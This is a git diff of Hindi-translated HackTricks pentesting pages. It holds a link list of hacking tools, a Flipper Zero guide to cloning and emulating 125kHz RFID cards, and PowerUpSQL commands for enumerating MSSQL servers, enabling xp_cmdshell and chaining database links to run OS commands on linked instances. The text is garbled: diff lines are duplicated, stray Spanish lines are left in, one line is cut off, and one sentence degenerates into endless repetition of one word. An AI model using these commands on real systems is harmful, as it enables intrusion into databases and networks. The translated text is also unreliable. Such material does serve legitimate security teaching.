* **शामिल हों** 💬 [**Discord समूह में**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह में**](https://t.me/peass) या हमें **Twitter** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# BlueTeam
* [https://github.com/yarox24/attack\_monitor](https://github.com/yarox24/attack\_monitor)
* [https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/](https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/)
* [https://github.com/ION28/BLUESPAWN](https://github.com/ION28/BLUESPAWN)
* [https://github.com/PaperMtn/lil-pwny](https://github.com/PaperMtn/lil-pwny) : जांचें खुलासा किए गए खाते
* [https://github.com/PaperMtn/lil-pwny](https://github.com/PaperMtn/lil-pwny) : डिस्क्लोज़ किए गए खातों की जांच करें
* [https://github.com/rabobank-cdc/DeTTECT](https://github.com/rabobank-cdc/DeTTECT)
# OSINT
@ -49,55 +53,100 @@ HackTricks का समर्थन करने के अन्य तरी
* [https://github.com/hahwul/XSpear](https://github.com/hahwul/XSpear)
* [https://github.com/BitTheByte/Monitorizer/](https://github.com/BitTheByte/Monitorizer/)
* [https://github.com/spinkham/skipfish](https://github.com/spinkham/skipfish)
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : डोमेन नामों की ब्रूट फोर्स असिंक्रोनसली
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : डोमेन नामों को असिंक्रोनस रूप से ब्रूट फोर्स करें
* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : सबडोमेन ब्रूटफोर्स
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): जांचें कि डोमेन में वेब सर्वर पहुंचने योग्य हैं या नहीं
* [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : सबडोमेन खोज
* [https://github.com/gwen001/github-search/blob/master/github-subdomains.py](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) : गिथब में सबडोमेन खोज
* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : तेज़ पोर्ट स्कैनिंग
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : वेब में JS फ़ाइलों से सबडोमेन और URL
* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : वेब फ़ाइल शब्दकोश
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : डोज़न्स रिपीटर टैब्स से बचने के लिए बर्पएक्सटेंशन
* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : एसेट्स प्राप्त करें
* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : वेब फ़ाइलों का शब्दकोश
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : डोज़न्स रिपीटर टैब्स से बचने के लिए बर्प एक्सटेंशन
* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : संपत्तियों को प्राप्त करें
* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : गूगल डॉर्क्स
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : वेब बगबाउंटी चेकलिस्ट
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : ओपन रीडायरेक्शन के खिलाफ डोमेन की सूची की जांच
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : बर्प प्लगइन, ऑफलाइन विश्लेषण के लिए डोमेन, सबडोमेन और आईपी पते खोजने के लिए
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : बर्प प्लगइन, ऑफलाइन विश्लेषण करने के लिए डोमेन, सबडोमेन और आईपी पतों की खोज
* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): विभिन्न उपकरणों की सूची
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : वल्न्स (SQLi, XSS, SSTI) खोजने के लिए बर्पस्यूट प्लगइन
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : वल्न्स (SQLi, XSS, SSTI) खोजने के लिए बर्पसुइट प्लगइन
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : पोस्ट-मैसेज फ़ंक्शन को ट्रैक करने के लिए क्रोम एक्सटेंशन
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : स्वचालित प्रमाणीकरण परीक्षण (कुकी हटाएं और अनुरोध भेजने की कोशिश करें)
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross एक पुनर्निर्माण, स्कैनर, और एक टूल है जो प्रवेश / बगबाउंटी परीक्षण के लिए बनाया गया है। इस टूल का उपयोग करके (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) जोखिमों का परीक्षण किया गया था
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross एक पुनर्निर्माण, स्कैनर, और एक टूल है प्रवेश / बगबाउंटी परीक्षण के लिए। यह टूल (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) जोखिमों का परीक्षण करने के लिए बनाया गया था।
# Windows
* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : लटरल मूवमेंट्स
* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : लटरल मूवमेंट्स
* [https://freddiebarrsmith.com/trix/trix.html](https://freddiebarrsmith.com/trix/trix.html) : LOL बिन्स
* [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): स्थिरता
* [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Windows प्रोसेस इंजेक्शन तकनीक
* [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : विंडोज प्रक्रिया इंजेक्शन तकनीक
* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red\_Team) : रेड टीम स्क्रिप्ट्स
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : एक्टिव डायरेक्टरी ग्रुप पॉलिसी में सुरक्षा संबंधित गलतियों को खोजें।
* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : सुरक्षित स्ट्रिंग अद्भुतीकरण
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : एक्टिव डायरेक्टरी ग्रुप पॉलिसी में सुरक्षा संबंधित गलतियों का पता लगाएं।
* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : सुरक्षित स्ट्रिंग अद्वंशन
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : पैरेंट पीआईडी स्पूफिंग
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : पावरशेल पेलोड को एन्क्रिप्ट करें
* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : स्टल्थ सी2
* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : स्टल्थ सी2
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : विंडोज इंटरनल्स के बारे में एक श्रृंखला
* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : ट्रैक करें कौन एक दस्तावेज़ खोलता है
* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : एक्टिव डायरेक्टरी चीट शीट
# Firmware
उपकरण जो मुझे लगता है कि फर्मवेयर का विश्लेषण करने के लिए शानदार हो सकते हैं (स्वचालित):
Tools q veo q pueden molar para analizar firmares (automaticas):
* [https://github.com/craigz28/firmwalker](https://github.com/craigz28/firmwalker)
* [https://github.com/fkie-cad/FACT\_core](https://github.com/fkie-cad/FACT\_core)
* [https://gitlab.com/bytesweep/bytesweep-go](https://gitlab.com/bytesweep/bytesweep-go)
पोस्ट-क्रीम:
Post-crema:
* [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html)
* [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html)
यदि हम ऑनलाइन नहीं मिलते हैं तो फर्मवेयर कैसे निकालें: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
कैसे फर्मवेयर निकालें अगर हम ऑनलाइन नहीं मिलता है: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
यहाँ एक विश्लेषण के लिए विकल
यहाँ एक फर्मवेयर है जिसमें सुरक्षा दोष हैं जिसे विश्लेषित किया जा सकता है: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
और यहाँ ओवास्प मेथडोलॉजी है फर्मवेयर विश्लेषण के लिए: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
Firmware emulation: FIRMADYNE (https://github.com/firmadyne/firmadyne/) एक प्लेटफॉर्म है जो लिनक्स आधारित फर्मवेयर के अनुकरण और गतिशील विश्लेषण को स्वचालित करने के लिए है।
# OTHER
* [https://twitter.com/HackAndDo/status/1202695084543791117](https://twitter.com/HackAndDo/status/1202695084543791117)
* [https://github.com/weev3/LKWA](https://github.com/weev3/LKWA)
* [https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/](https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/)
* [https://github.com/skelsec/jackdaw](https://github.com/skelsec/jackdaw)
* [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : स्टेटिक कोड विश्लेषण
* [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : ब्लूटूथ एलई सीटीएफ
* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : एसएसएच टारपिट जो धीरे-धीरे एक अंतहीन बैनर भेजता है।
* AWS और क्लाउड उपकरण: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
* IFS (Interplanetary File System) for phising: [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
* IP rotation services: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212)
* Linux rootkit: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit)
* [https://theia-ide.org/](https://theia-ide.org) : ऑनलाइन आईडीई
* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : बगबाउंटीज़ शुरू करने के लिए संसाधन
* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : IOS पेंटेस्टिंग उपकरण
* [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : कीवर्ड्स
* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : आईओटी हैकिंग (वाईफाई, ब्लूटूथ, एसएसडीपी, एमडीएनएस)
* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : स्कैनिंग को स्वचालित करना
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : यह सूची इलेक्ट्रॉन.जेएस सुरक्षा संबंधित विषयों को कवर करने का उद्देश्य रखती है।
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : बीबी कार्यक्रमों के बारे में जानकारी
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) जुड़ें या [**telegram समूह**](https://t.me/peass) में शामिल हों या हमें **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos पर PRs सबमिट करके।
</details>

View file

@ -2,21 +2,26 @@
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a> <strong>के साथ!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड** करें तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)\*\* पर फॉलो\*\* करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें** और PRs को **जमा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## परिचय
125kHz टैग काम कैसे करते हैं के बारे में अधिक जानकारी के लिए देखें:
125kHz टैग कैसे काम करते हैं के बारे में अधिक जानकारी के लिए देखें:
{% content-ref url="../pentesting-rfid.md" %}
[pentesting-rfid.md](../pentesting-rfid.md)
@ -31,48 +36,53 @@ HackTricks का समर्थन करने के अन्य तरी
कार्ड जानकारी **पढ़ने** का प्रयास करता है। फिर इसे **उत्पादित** कर सकता है।
{% hint style="warning" %}
ध्यान दें कि कुछ इंटरकॉम्स खुद को कुंजी की नकल से सुरक्षित रखने की कोशिश करते हैं जिसके लिए पढ़ने से पहले एक लेखन कमांड भेजते हैं। यदि लेखन सफल होता है, तो उस टैग को नकली माना जाता है। जब Flipper RFID का उत्पादन करता है, तो पढ़ने वाले को मूल से इसे भिन्न करने का कोई तरीका नहीं होता है, इसलिए ऐसी कोई समस्याएँ नहीं होती हैं।
ध्यान दें कि कुछ इंटरकॉम्स कुंजी की प्रतिलिपि से पहले लिखने के लिए स्वयं को सुरक्षित करने की कोशिश करते हैं। यदि लेखन सफल होता है, तो उस टैग को नकली माना जाता है। जब Flipper RFID का उत्पादन करता है, तो पठक के लिए यह मूल से भिन्न करने का कोई तरीका नहीं है, इसलिए ऐसी कोई समस्याएँ नहीं होती हैं।
{% endhint %}
### मैन्युअल रूप से जोड़ें
आप **Flipper Zero में डेटा दर्शाते हुए नकली कार्ड बना सकते हैं** और फिर इसे उत्पादित कर सकते हैं।
आप **Flipper Zero में फर्जी कार्ड बना सकते हैं** जिसमें आप डेटा को मैन्युअल रूप से दर्ज कर सकते हैं और फिर इसे उत्पादित कर सकते हैं।
#### कार्ड पर आईडी
कभी-कभी, जब आप एक कार्ड प्राप्त करते हैं, तो आपको उसमें लिखी आईडी (या हिस्सा) मिलता है
कभी-कभी, जब आप एक कार्ड प्राप्त करते हैं, तो आपको उसमें लिखी आईडी (या हिस्सा) मिलेगा
* **EM Marin**
* **EM मारिन**
उदाहरण के लिए इस EM-Marin कार्ड में शारीरिक कार्ड में **पांच बाइट में से पिछले 3 बाइट को स्पष्ट रूप से पढ़ा जा सकता है**।\
अगर आप कार्ड से उन्हें पढ़ नहीं सकते हैं तो उनमें से 2 को ब्रूट-फोर्स किया जा सकता है।
अगर आप कार्ड से उन्हें पढ़ नहीं सकते हैं तो उन्हें ब्रूट-फोर्स किया जा सकता है।
<figure><img src="../../../.gitbook/assets/image (30).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (101).png" alt=""><figcaption></figcaption></figure>
* **HID**
इस HID कार्ड में भी ऐसा ही होता है जहाँ केवल 3 बाइट में से 2 बाइट कार्ड में मुद्रित पाए जा सकते हैं
इस HID कार्ड में भी ऐसा ही होता है जहाँ केवल 3 बाइट में से 2 बाइट कार्ड में मुद्रित पाए जा सकते हैं
<figure><img src="../../../.gitbook/assets/image (15) (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1011).png" alt=""><figcaption></figcaption></figure>
### उत्पादित/लिखें
कार्ड की नकल बनाने या आईडी **मैन्युअल रूप से दर्ज** करने के बाद Flipper Zero के साथ इसे **उत्पादित** करना या वास्तविक कार्ड में **लिखना** संभव है।
किसी कार्ड की **नकल** बनाने के बाद या आईडी **मैन्युअल** रूप से दर्ज करने के बाद, इसे Flipper Zero में **उत्पादित** करना या वास्तविक कार्ड में **लिखना** संभव है।
## संदर्भ
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a> <strong>के साथ!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड** करें तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)\*\* पर फॉलो\*\* करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें** और PRs को **जमा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>

View file

@ -2,17 +2,22 @@
<details>
<summary><strong>ानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary><strong>ीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** प्राप्त करना चाहते हैं? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो में PR जमा करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को**।
</details>
## **MSSQL गणना / खोज**
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **MSSQL जांच / खोज**
पावरशेल मॉड्यूल [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) इस मामले में बहुत उपयोगी है।
```powershell
@ -32,7 +37,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP Verbose Threads
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
```
### डोमेन के अंदर से जांच करना
### डोमेन के अंदर से जांचना
```powershell
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
@ -53,7 +58,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
```
## MSSQL मूल दुरुपयोग
### डेटाबेस तक पहुचें
### डेटाबेस तक पहुचें
```powershell
#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
@ -67,22 +72,24 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
```
### MSSQL RCE
यह संभना है कि MSSQL होस्ट के अंदर **कमांड निष्पादित** किया जा सकता है
यह संभव है कि MSSQL होस्ट के अंदर **कमांड निष्पादित** किया जा सकता है
```powershell
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
```
### MSSQL मूल अनुदेश ट्रिक्स
### MSSQL मूल हैकिंग ट्रिक्स
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
## MSSQL विश्वसनीय लिंक
## MSSQL Trusted Links
यदि किसी MSSQL उदाहरण को एक अलग MSSQL उदाहरण द्वारा विश्वसनीय माना जाता है (डेटाबेस लिंक)। यदि उपयोगकर्ता के पास विश्वसनीय डेटाबेस पर विशेषाधिकार हैं, तो उसे **उस विश्वसनीय संबंध का उपयोग करके अन्य उदाहरण में भी क्वेरी को क्रियान्वित करने की क्षमता होगी**। ये विश्वसनीय लिंक जोड़े जा सकते हैं और किसी समय उपयोगकर्ता को कुछ गलत रूप से विन्यस्त डेटाबेस मिल सकता है जहां वह कमांड क्रियान्वित कर सकता है।
If a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.
**डेटाबेस के बीच लिंक वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन
**The links between databases work even across forest trusts.**
### Powershell Abuse
```powershell
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
@ -114,7 +121,7 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
```
### Metasploit
### मेटास्प्लॉइट
